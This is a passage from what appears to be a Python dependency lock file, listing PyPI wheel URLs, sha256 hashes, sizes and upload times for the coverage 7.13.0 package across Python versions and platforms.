{ url = "https://files.pythonhosted.org/packages/95/6e/73e809b882c2858f13e55c0c36e94e09ce07e6165d5644588f9517efe333/coverage-7.13.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a00d3a393207ae12f7c49bb1c113190883b500f48979abb118d8b72b8c95c032", size = 246968, upload-time = "2025-12-08T13:12:23.52Z" },
{ url = "https://files.pythonhosted.org/packages/87/08/64ebd9e64b6adb8b4a4662133d706fbaccecab972e0b3ccc23f64e2678ad/coverage-7.13.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3a7b1cd820e1b6116f92c6128f1188e7afe421c7e1b35fa9836b11444e53ebd9", size = 244972, upload-time = "2025-12-08T13:12:24.781Z" },
{ url = "https://files.pythonhosted.org/packages/12/97/f4d27c6fe0cb375a5eced4aabcaef22de74766fb80a3d5d2015139e54b22/coverage-7.13.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:37eee4e552a65866f15dedd917d5e5f3d59805994260720821e2c1b51ac3248f", size = 245241, upload-time = "2025-12-08T13:12:28.041Z" },
{ url = "https://files.pythonhosted.org/packages/0c/94/42f8ae7f633bf4c118bf1038d80472f9dade88961a466f290b81250f7ab7/coverage-7.13.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:62d7c4f13102148c78d7353c6052af6d899a7f6df66a32bddcc0c0eb7c5326f8", size = 245847, upload-time = "2025-12-08T13:12:29.337Z" },
{ url = "https://files.pythonhosted.org/packages/a8/2f/6369ca22b6b6d933f4f4d27765d313d8914cc4cce84f82a16436b1a233db/coverage-7.13.0-cp310-cp310-win32.whl", hash = "sha256:24e4e56304fdb56f96f80eabf840eab043b3afea9348b88be680ec5986780a0f", size = 220573, upload-time = "2025-12-08T13:12:30.905Z" },
{ url = "https://files.pythonhosted.org/packages/f1/dc/a6a741e519acceaeccc70a7f4cfe5d030efc4b222595f0677e101af6f1f3/coverage-7.13.0-cp310-cp310-win_amd64.whl", hash = "sha256:74c136e4093627cf04b26a35dab8cbfc9b37c647f0502fc313376e11726ba303", size = 221509, upload-time = "2025-12-08T13:12:32.09Z" },
{ url = "https://files.pythonhosted.org/packages/f1/dc/888bf90d8b1c3d0b4020a40e52b9f80957d75785931ec66c7dfaccc11c7d/coverage-7.13.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0dfa3855031070058add1a59fdfda0192fd3e8f97e7c81de0596c145dea51820", size = 218104, upload-time = "2025-12-08T13:12:33.333Z" },
{ url = "https://files.pythonhosted.org/packages/8d/ea/069d51372ad9c380214e86717e40d1a743713a2af191cfba30a0911b0a4a/coverage-7.13.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4fdb6f54f38e334db97f72fa0c701e66d8479af0bc3f9bfb5b90f1c30f54500f", size = 218606, upload-time = "2025-12-08T13:12:34.498Z" },
{ url = "https://files.pythonhosted.org/packages/68/09/77b1c3a66c2aa91141b6c4471af98e5b1ed9b9e6d17255da5eb7992299e3/coverage-7.13.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:7e442c013447d1d8d195be62852270b78b6e255b79b8675bad8479641e21fd96", size = 248999, upload-time = "2025-12-08T13:12:36.02Z" },
{ url = "https://files.pythonhosted.org/packages/0a/32/2e2f96e9d5691eaf1181d9040f850b8b7ce165ea10810fd8e2afa534cef7/coverage-7.13.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1ed5630d946859de835a85e9a43b721123a8a44ec26e2830b296d478c7fd4259", size = 250925, upload-time = "2025-12-08T13:12:37.221Z" },
{ url = "https://files.pythonhosted.org/packages/7b/45/b88ddac1d7978859b9a39a8a50ab323186148f1d64bc068f86fc77706321/coverage-7.13.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7f15a931a668e58087bc39d05d2b4bf4b14ff2875b49c994bbdb1c2217a8daeb", size = 253032, upload-time = "2025-12-08T13:12:38.763Z" },
{ url = "https://files.pythonhosted.org/packages/71/cb/e15513f94c69d4820a34b6bf3d2b1f9f8755fa6021be97c7065442d7d653/coverage-7.13.0-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:30a3a201a127ea57f7e14ba43c93c9c4be8b7d17a26e03bb49e6966d019eede9", size = 249134, upload-time = "2025-12-08T13:12:40.382Z" },
{ url = "https://files.pythonhosted.org/packages/09/61/d960ff7dc9e902af3310ce632a875aaa7860f36d2bc8fc8b37ee7c1b82a5/coverage-7.13.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7a485ff48fbd231efa32d58f479befce52dcb6bfb2a88bb7bf9a0b89b1bc8030", size = 250731, upload-time = "2025-12-08T13:12:41.992Z" },
{ url = "https://files.pythonhosted.org/packages/98/34/c7c72821794afc7c7c2da1db8f00c2c98353078aa7fb6b5ff36aac834b52/coverage-7.13.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:22486cdafba4f9e471c816a2a5745337742a617fef68e890d8baf9f3036d7833", size = 248795, upload-time = "2025-12-08T13:12:43.331Z" },
{ url = "https://files.pythonhosted.org/packages/0a/5b/e0f07107987a43b2def9aa041c614ddb38064cbf294a71ef8c67d43a0cdd/coverage-7.13.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:263c3dbccc78e2e331e59e90115941b5f53e85cfcc6b3b2fbff1fd4e3d2c6ea8", size = 248514, upload-time = "2025-12-08T13:12:44.546Z" },
{ url = "https://files.pythonhosted.org/packages/71/c2/c949c5d3b5e9fc6dd79e1b73cdb86a59ef14f3709b1d72bf7668ae12e000/coverage-7.13.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e5330fa0cc1f5c3c4c3bb8e101b742025933e7848989370a1d4c8c5e401ea753", size = 249424, upload-time = "2025-12-08T13:12:45.759Z" },
{ url = "https://files.pythonhosted.org/packages/11/f1/bbc009abd6537cec0dffb2cc08c17a7f03de74c970e6302db4342a6e05af/coverage-7.13.0-cp311-cp311-win32.whl", hash = "sha256:0f4872f5d6c54419c94c25dd6ae1d015deeb337d06e448cd890a1e89a8ee7f3b", size = 220597, upload-time = "2025-12-08T13:12:47.378Z" },
{ url = "https://files.pythonhosted.org/packages/c4/f6/d9977f2fb51c10fbaed0718ce3d0a8541185290b981f73b1d27276c12d91/coverage-7.13.0-cp311-cp311-win_amd64.whl", hash = "sha256:51a202e0f80f241ccb68e3e26e19ab5b3bf0f813314f2c967642f13ebcf1ddfe", size = 221536, upload-time = "2025-12-08T13:12:48.7Z" },
{ url = "https://files.pythonhosted.org/packages/be/ad/3fcf43fd96fb43e337a3073dea63ff148dcc5c41ba7a14d4c7d34efb2216/coverage-7.13.0-cp311-cp311-win_arm64.whl", hash = "sha256:d2a9d7f1c11487b1c69367ab3ac2d81b9b3721f097aa409a3191c3e90f8f3dd7", size = 220206, upload-time = "2025-12-08T13:12:50.365Z" },
{ url = "https://files.pythonhosted.org/packages/9b/f1/2619559f17f31ba00fc40908efd1fbf1d0a5536eb75dc8341e7d660a08de/coverage-7.13.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:0b3d67d31383c4c68e19a88e28fc4c2e29517580f1b0ebec4a069d502ce1e0bf", size = 218274, upload-time = "2025-12-08T13:12:52.095Z" },
{ url = "https://files.pythonhosted.org/packages/2b/11/30d71ae5d6e949ff93b2a79a2c1b4822e00423116c5c6edfaeef37301396/coverage-7.13.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:581f086833d24a22c89ae0fe2142cfaa1c92c930adf637ddf122d55083fb5a0f", size = 218638, upload-time = "2025-12-08T13:12:53.418Z" },
{ url = "https://files.pythonhosted.org/packages/79/c2/fce80fc6ded8d77e53207489d6065d0fed75db8951457f9213776615e0f5/coverage-7.13.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:0a3a30f0e257df382f5f9534d4ce3d4cf06eafaf5192beb1a7bd066cb10e78fb", size = 250129, upload-time = "2025-12-08T13:12:54.744Z" },
{ url = "https://files.pythonhosted.org/packages/5b/b6/51b5d1eb6fcbb9a1d5d6984e26cbe09018475c2922d554fd724dd0f056ee/coverage-7.13.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:583221913fbc8f53b88c42e8dbb8fca1d0f2e597cb190ce45916662b8b9d9621", size = 252885, upload-time = "2025-12-08T13:12:56.401Z" },
{ url = "https://files.pythonhosted.org/packages/0d/f8/972a5affea41de798691ab15d023d3530f9f56a72e12e243f35031846ff7/coverage-7.13.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f5d9bd30756fff3e7216491a0d6d520c448d5124d3d8e8f56446d6412499e74", size = 253974, upload-time = "2025-12-08T13:12:57.718Z" },
{ url = "https://files.pythonhosted.org/packages/8a/56/116513aee860b2c7968aa3506b0f59b22a959261d1dbf3aea7b4450a7520/coverage-7.13.0-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a23e5a1f8b982d56fa64f8e442e037f6ce29322f1f9e6c2344cd9e9f4407ee57", size = 250538, upload-time = "2025-12-08T13:12:59.254Z" },
{ url = "https://files.pythonhosted.org/packages/d6/75/074476d64248fbadf16dfafbf93fdcede389ec821f74ca858d7c87d2a98c/coverage-7.13.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9b01c22bc74a7fb44066aaf765224c0d933ddf1f5047d6cdfe4795504a4493f8", size = 251912, upload-time = "2025-12-08T13:13:00.604Z" },
{ url = "https://files.pythonhosted.org/packages/f2/d2/aa4f8acd1f7c06024705c12609d8698c51b27e4d635d717cd1934c9668e2/coverage-7.13.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:898cce66d0836973f48dda4e3514d863d70142bdf6dfab932b9b6a90ea5b222d", size = 250054, upload-time = "2025-12-08T13:13:01.892Z" },
{ url = "https://files.pythonhosted.org/packages/19/98/8df9e1af6a493b03694a1e8070e024e7d2cdc77adedc225a35e616d505de/coverage-7.13.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:3ab483ea0e251b5790c2aac03acde31bff0c736bf8a86829b89382b407cd1c3b", size = 249619, upload-time = "2025-12-08T13:13:03.236Z" },
{ url = "https://files.pythonhosted.org/packages/d8/71/f8679231f3353018ca66ef647fa6fe7b77e6bff7845be54ab84f86233363/coverage-7.13.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:1d84e91521c5e4cb6602fe11ece3e1de03b2760e14ae4fcf1a4b56fa3c801fcd", size = 251496, upload-time = "2025-12-08T13:13:04.511Z" },
{ url = "https://files.pythonhosted.org/packages/04/86/9cb406388034eaf3c606c22094edbbb82eea1fa9d20c0e9efadff20d0733/coverage-7.13.0-cp312-cp312-win32.whl", hash = "sha256:193c3887285eec1dbdb3f2bd7fbc351d570ca9c02ca756c3afbc71b3c98af6ef", size = 220808, upload-time = "2025-12-08T13:13:06.422Z" },
{ url = "https://files.pythonhosted.org/packages/1c/59/af483673df6455795daf5f447c2f81a3d2fcfc893a22b8ace983791f6f34/coverage-7.13.0-cp312-cp312-win_amd64.whl", hash = "sha256:4f3e223b2b2db5e0db0c2b97286aba0036ca000f06aca9b12112eaa9af3d92ae", size = 221616, upload-time = "2025-12-08T13:13:07.95Z" },
{ url = "https://files.pythonhosted.org/packages/64/b0/959d582572b30a6830398c60dd419c1965ca4b5fb38ac6b7093a0d50ca8d/coverage-7.13.0-cp312-cp312-win_arm64.whl", hash = "sha256:086cede306d96202e15a4b77ace8472e39d9f4e5f9fd92dd4fecdfb2313b2080", size = 220261, upload-time = "2025-12-08T13:13:09.581Z" },
{ url = "https://files.pythonhosted.org/packages/7c/cc/bce226595eb3bf7d13ccffe154c3c487a22222d87ff018525ab4dd2e9542/coverage-7.13.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:28ee1c96109974af104028a8ef57cec21447d42d0e937c0275329272e370ebcf", size = 218297, upload-time = "2025-12-08T13:13:10.977Z" },
{ url = "https://files.pythonhosted.org/packages/3b/9f/73c4d34600aae03447dff3d7ad1d0ac649856bfb87d1ca7d681cfc913f9e/coverage-7.13.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d1e97353dcc5587b85986cda4ff3ec98081d7e84dd95e8b2a6d59820f0545f8a", size = 218673, upload-time = "2025-12-08T13:13:12.562Z" },
{ url = "https://files.pythonhosted.org/packages/63/ab/8fa097db361a1e8586535ae5073559e6229596b3489ec3ef2f5b38df8cb2/coverage-7.13.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:99acd4dfdfeb58e1937629eb1ab6ab0899b131f183ee5f23e0b5da5cba2fec74", size = 249652, upload-time = "2025-12-08T13:13:13.909Z" },
{ url = "https://files.pythonhosted.org/packages/90/3a/9bfd4de2ff191feb37ef9465855ca56a6f2f30a3bca172e474130731ac3d/coverage-7.13.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:ff45e0cd8451e293b63ced93161e189780baf444119391b3e7d25315060368a6", size = 252251, upload-time = "2025-12-08T13:13:15.553Z" },
{ url = "https://files.pythonhosted.org/packages/df/61/b5d8105f016e1b5874af0d7c67542da780ccd4a5f2244a433d3e20ceb1ad/coverage-7.13.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f4f72a85316d8e13234cafe0a9f81b40418ad7a082792fa4165bd7d45d96066b", size = 253492, upload-time = "2025-12-08T13:13:16.849Z" },
{ url = "https://files.pythonhosted.org/packages/f3/b8/0fad449981803cc47a4694768b99823fb23632150743f9c83af329bb6090/coverage-7.13.0-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:11c21557d0e0a5a38632cbbaca5f008723b26a89d70db6315523df6df77d6232", size = 249850, upload-time = "2025-12-08T13:13:18.142Z" },
{ url = "https://files.pythonhosted.org/packages/9a/e9/8d68337c3125014d918cf4327d5257553a710a2995a6a6de2ac77e5aa429/coverage-7.13.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:76541dc8d53715fb4f7a3a06b34b0dc6846e3c69bc6204c55653a85dd6220971", size = 251633, upload-time = "2025-12-08T13:13:19.56Z" },
{ url = "https://files.pythonhosted.org/packages/55/14/d4112ab26b3a1bc4b3c1295d8452dcf399ed25be4cf649002fb3e64b2d93/coverage-7.13.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:6e9e451dee940a86789134b6b0ffbe31c454ade3b849bb8a9d2cca2541a8e91d", size = 249586, upload-time = "2025-12-08T13:13:20.883Z" },
{ url = "https://files.pythonhosted.org/packages/2c/a9/22b0000186db663b0d82f86c2f1028099ae9ac202491685051e2a11a5218/coverage-7.13.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:5c67dace46f361125e6b9cace8fe0b729ed8479f47e70c89b838d319375c8137", size = 249412, upload-time = "2025-12-08T13:13:22.22Z" },
{ url = "https://files.pythonhosted.org/packages/a1/2e/42d8e0d9e7527fba439acdc6ed24a2b97613b1dc85849b1dd935c2cffef0/coverage-7.13.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f59883c643cb19630500f57016f76cfdcd6845ca8c5b5ea1f6e17f74c8e5f511", size = 251191, upload-time = "2025-12-08T13:13:23.899Z" },
{ url = "https://files.pythonhosted.org/packages/a4/af/8c7af92b1377fd8860536aadd58745119252aaaa71a5213e5a8e8007a9f5/coverage-7.13.0-cp313-cp313-win32.whl", hash = "sha256:58632b187be6f0be500f553be41e277712baa278147ecb7559983c6d9faf7ae1", size = 220829, upload-time = "2025-12-08T13:13:25.182Z" },
{ url = "https://files.pythonhosted.org/packages/58/f9/725e8bf16f343d33cbe076c75dc8370262e194ff10072c0608b8e5cf33a3/coverage-7.13.0-cp313-cp313-win_amd64.whl", hash = "sha256:73419b89f812f498aca53f757dd834919b48ce4799f9d5cad33ca0ae442bdb1a", size = 221640, upload-time = "2025-12-08T13:13:26.836Z" },
{ url = "https://files.pythonhosted.org/packages/8a/ff/e98311000aa6933cc79274e2b6b94a2fe0fe3434fca778eba82003675496/coverage-7.13.0-cp313-cp313-win_arm64.whl", hash = "sha256:eb76670874fdd6091eedcc856128ee48c41a9bbbb9c3f1c7c3cf169290e3ffd6", size = 220269, upload-time = "2025-12-08T13:13:28.116Z" },
{ url = "https://files.pythonhosted.org/packages/cf/cf/bbaa2e1275b300343ea865f7d424cc0a2e2a1df6925a070b2b2d5d765330/coverage-7.13.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:6e63ccc6e0ad8986386461c3c4b737540f20426e7ec932f42e030320896c311a", size = 218990, upload-time = "2025-12-08T13:13:29.463Z" },
{ url = "https://files.pythonhosted.org/packages/21/1d/82f0b3323b3d149d7672e7744c116e9c170f4957e0c42572f0366dbb4477/coverage-7.13.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:494f5459ffa1bd45e18558cd98710c36c0b8fbfa82a5eabcbe671d80ecffbfe8", size = 219340, upload-time = "2025-12-08T13:13:31.524Z" },
{ url = "https://files.pythonhosted.org/packages/fb/e3/fe3fd4702a3832a255f4d43013eacb0ef5fc155a5960ea9269d8696db28b/coverage-7.13.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:06cac81bf10f74034e055e903f5f946e3e26fc51c09fc9f584e4a1605d977053", size = 260638, upload-time = "2025-12-08T13:13:32.965Z" },
{ url = "https://files.pythonhosted.org/packages/ad/01/63186cb000307f2b4da463f72af9b85d380236965574c78e7e27680a2593/coverage-7.13.0-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f2ffc92b46ed6e6760f1d47a71e56b5664781bc68986dbd1836b2b70c0ce2071", size = 262705, upload-time = "2025-12-08T13:13:34.378Z" },
{ url = "https://files.pythonhosted.org/packages/7c/a1/c0dacef0cc865f2455d59eed3548573ce47ed603205ffd0735d1d78b5906/coverage-7.13.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0602f701057c6823e5db1b74530ce85f17c3c5be5c85fc042ac939cbd909426e", size = 265125, upload-time = "2025-12-08T13:13:35.73Z" },
{ url = "https://files.pythonhosted.org/packages/ef/92/82b99223628b61300bd382c205795533bed021505eab6dd86e11fb5d7925/coverage-7.13.0-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:25dc33618d45456ccb1d37bce44bc78cf269909aa14c4db2e03d63146a8a1493", size = 259844, upload-time = "2025-12-08T13:13:37.69Z" },
{ url = "https://files.pythonhosted.org/packages/cf/2c/89b0291ae4e6cd59ef042708e1c438e2290f8c31959a20055d8768349ee2/coverage-7.13.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:71936a8b3b977ddd0b694c28c6a34f4fff2e9dd201969a4ff5d5fc7742d614b0", size = 262700, upload-time = "2025-12-08T13:13:39.525Z" },
{ url = "https://files.pythonhosted.org/packages/bf/f9/a5f992efae1996245e796bae34ceb942b05db275e4b34222a9a40b9fbd3b/coverage-7.13.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:936bc20503ce24770c71938d1369461f0c5320830800933bc3956e2a4ded930e", size = 260321, upload-time = "2025-12-08T13:13:41.172Z" },
{ url = "https://files.pythonhosted.org/packages/4c/89/a29f5d98c64fedbe32e2ac3c227fbf78edc01cc7572eee17d61024d89889/coverage-7.13.0-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:af0a583efaacc52ae2521f8d7910aff65cdb093091d76291ac5820d5e947fc1c", size = 259222, upload-time = "2025-12-08T13:13:43.282Z" },
{ url = "https://files.pythonhosted.org/packages/b3/c3/940fe447aae302a6701ee51e53af7e08b86ff6eed7631e5740c157ee22b9/coverage-7.13.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f1c23e24a7000da892a312fb17e33c5f94f8b001de44b7cf8ba2e36fbd15859e", size = 261411, upload-time = "2025-12-08T13:13:44.72Z" },
{ url = "https://files.pythonhosted.org/packages/eb/31/12a4aec689cb942a89129587860ed4d0fd522d5fda81237147fde554b8ae/coverage-7.13.0-cp313-cp313t-win32.whl", hash = "sha256:5f8a0297355e652001015e93be345ee54393e45dc3050af4a0475c5a2b767d46", size = 221505, upload-time = "2025-12-08T13:13:46.332Z" },
{ url = "https://files.pythonhosted.org/packages/65/8c/3b5fe3259d863572d2b0827642c50c3855d26b3aefe80bdc9eba1f0af3b0/coverage-7.13.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6abb3a4c52f05e08460bd9acf04fec027f8718ecaa0d09c40ffbc3fbd70ecc39", size = 222569, upload-time = "2025-12-08T13:13:47.79Z" },
{ url = "https://files.pythonhosted.org/packages/b0/39/f71fa8316a96ac72fc3908839df651e8eccee650001a17f2c78cdb355624/coverage-7.13.0-cp313-cp313t-win_arm64.whl", hash = "sha256:3ad968d1e3aa6ce5be295ab5fe3ae1bf5bb4769d0f98a80a0252d543a2ef2e9e", size = 220841, upload-time = "2025-12-08T13:13:49.243Z" },
{ url = "https://files.pythonhosted.org/packages/f8/4b/9b54bedda55421449811dcd5263a2798a63f48896c24dfb92b0f1b0845bd/coverage-7.13.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:453b7ec753cf5e4356e14fe858064e5520c460d3bbbcb9c35e55c0d21155c256", size = 218343, upload-time = "2025-12-08T13:13:50.811Z" },
{ url = "https://files.pythonhosted.org/packages/59/df/c3a1f34d4bba2e592c8979f924da4d3d4598b0df2392fbddb7761258e3dc/coverage-7.13.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:af827b7cbb303e1befa6c4f94fd2bf72f108089cfa0f8abab8f4ca553cf5ca5a", size = 218672, upload-time = "2025-12-08T13:13:52.284Z" },
{ url = "https://files.pythonhosted.org/packages/07/62/eec0659e47857698645ff4e6ad02e30186eb8afd65214fd43f02a76537cb/coverage-7.13.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:9987a9e4f8197a1000280f7cc089e3ea2c8b3c0a64d750537809879a7b4ceaf9", size = 249715, upload-time = "2025-12-08T13:13:53.791Z" },
{ url = "https://files.pythonhosted.org/packages/23/2d/3c7ff8b2e0e634c1f58d095f071f52ed3c23ff25be524b0ccae8b71f99f8/coverage-7.13.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:3188936845cd0cb114fa6a51842a304cdbac2958145d03be2377ec41eb285d19", size = 252225, upload-time = "2025-12-08T13:13:55.274Z" },
{ url = "https://files.pythonhosted.org/packages/aa/ac/fb03b469d20e9c9a81093575003f959cf91a4a517b783aab090e4538764b/coverage-7.13.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a2bdb3babb74079f021696cb46b8bb5f5661165c385d3a238712b031a12355be", size = 253559, upload-time = "2025-12-08T13:13:57.161Z" },
{ url = "https://files.pythonhosted.org/packages/29/62/14afa9e792383c66cc0a3b872a06ded6e4ed1079c7d35de274f11d27064e/coverage-7.13.0-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7464663eaca6adba4175f6c19354feea61ebbdd735563a03d1e472c7072d27bb", size = 249724, upload-time = "2025-12-08T13:13:58.692Z" },
{ url = "https://files.pythonhosted.org/packages/31/b7/333f3dab2939070613696ab3ee91738950f0467778c6e5a5052e840646b7/coverage-7.13.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8069e831f205d2ff1f3d355e82f511eb7c5522d7d413f5db5756b772ec8697f8", size = 251582, upload-time = "2025-12-08T13:14:00.642Z" },
{ url = "https://files.pythonhosted.org/packages/81/cb/69162bda9381f39b2287265d7e29ee770f7c27c19f470164350a38318764/coverage-7.13.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:6fb2d5d272341565f08e962cce14cdf843a08ac43bd621783527adb06b089c4b", size = 249538, upload-time = "2025-12-08T13:14:02.556Z" },
{ url = "https://files.pythonhosted.org/packages/e0/76/350387b56a30f4970abe32b90b2a434f87d29f8b7d4ae40d2e8a85aacfb3/coverage-7.13.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:5e70f92ef89bac1ac8a99b3324923b4749f008fdbd7aa9cb35e01d7a284a04f9", size = 249349, upload-time = "2025-12-08T13:14:04.015Z" },
{ url = "https://files.pythonhosted.org/packages/86/0d/7f6c42b8d59f4c7e43ea3059f573c0dcfed98ba46eb43c68c69e52ae095c/coverage-7.13.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4b5de7d4583e60d5fd246dd57fcd3a8aa23c6e118a8c72b38adf666ba8e7e927", size = 251011, upload-time = "2025-12-08T13:14:05.505Z" },
{ url = "https://files.pythonhosted.org/packages/d7/f1/4bb2dff379721bb0b5c649d5c5eaf438462cad824acf32eb1b7ca0c7078e/coverage-7.13.0-cp314-cp314-win32.whl", hash = "sha256:a6c6e16b663be828a8f0b6c5027d36471d4a9f90d28444aa4ced4d48d7d6ae8f", size = 221091, upload-time = "2025-12-08T13:14:07.127Z" },
{ url = "https://files.pythonhosted.org/packages/ba/44/c239da52f373ce379c194b0ee3bcc121020e397242b85f99e0afc8615066/coverage-7.13.0-cp314-cp314-win_amd64.whl", hash = "sha256:0900872f2fdb3ee5646b557918d02279dc3af3dfb39029ac4e945458b13f73bc", size = 221904, upload-time = "2025-12-08T13:14:08.542Z" },
{ url = "https://files.pythonhosted.org/packages/89/1f/b9f04016d2a29c2e4a0307baefefad1a4ec5724946a2b3e482690486cade/coverage-7.13.0-cp314-cp314-win_arm64.whl", hash = "sha256:3a10260e6a152e5f03f26db4a407c4c62d3830b9af9b7c0450b183615f05d43b", size = 220480, upload-time = "2025-12-08T13:14:10.958Z" },
{ url = "https://files.pythonhosted.org/packages/16/d4/364a1439766c8e8647860584171c36010ca3226e6e45b1753b1b249c5161/coverage-7.13.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:9097818b6cc1cfb5f174e3263eba4a62a17683bcfe5c4b5d07f4c97fa51fbf28", size = 219074, upload-time = "2025-12-08T13:14:13.345Z" },
{ url = "https://files.pythonhosted.org/packages/ce/f4/71ba8be63351e099911051b2089662c03d5671437a0ec2171823c8e03bec/coverage-7.13.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0018f73dfb4301a89292c73be6ba5f58722ff79f51593352759c1790ded1cabe", size = 219342, upload-time = "2025-12-08T13:14:15.02Z" },
{ url = "https://files.pythonhosted.org/packages/5e/25/127d8ed03d7711a387d96f132589057213e3aef7475afdaa303412463f22/coverage-7.13.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:166ad2a22ee770f5656e1257703139d3533b4a0b6909af67c6b4a3adc1c98657", size = 260713, upload-time = "2025-12-08T13:14:16.907Z" },
{ url = "https://files.pythonhosted.org/packages/fd/db/559fbb6def07d25b2243663b46ba9eb5a3c6586c0c6f4e62980a68f0ee1c/coverage-7.13.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f6aaef16d65d1787280943f1c8718dc32e9cf141014e4634d64446702d26e0ff", size = 262825, upload-time = "2025-12-08T13:14:18.68Z" },
{ url = "https://files.pythonhosted.org/packages/37/99/6ee5bf7eff884766edb43bd8736b5e1c5144d0fe47498c3779326fe75a35/coverage-7.13.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e999e2dcc094002d6e2c7bbc1fb85b58ba4f465a760a8014d97619330cdbbbf3", size = 265233, upload-time = "2025-12-08T13:14:20.55Z" },
{ url = "https://files.pythonhosted.org/packages/d8/90/92f18fe0356ea69e1f98f688ed80cec39f44e9f09a1f26a1bbf017cc67f2/coverage-7.13.0-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:00c3d22cf6fb1cf3bf662aaaa4e563be8243a5ed2630339069799835a9cc7f9b", size = 259779, upload-time = "2025-12-08T13:14:22.367Z" },
{ url = "https://files.pythonhosted.org/packages/90/5d/b312a8b45b37a42ea7d27d7d3ff98ade3a6c892dd48d1d503e773503373f/coverage-7.13.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:22ccfe8d9bb0d6134892cbe1262493a8c70d736b9df930f3f3afae0fe3ac924d", size = 262700, upload-time = "2025-12-08T13:14:24.309Z" },
{ url = "https://files.pythonhosted.org/packages/63/f8/b1d0de5c39351eb71c366f872376d09386640840a2e09b0d03973d791e20/coverage-7.13.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:9372dff5ea15930fea0445eaf37bbbafbc771a49e70c0aeed8b4e2c2614cc00e", size = 260302, upload-time = "2025-12-08T13:14:26.068Z" },
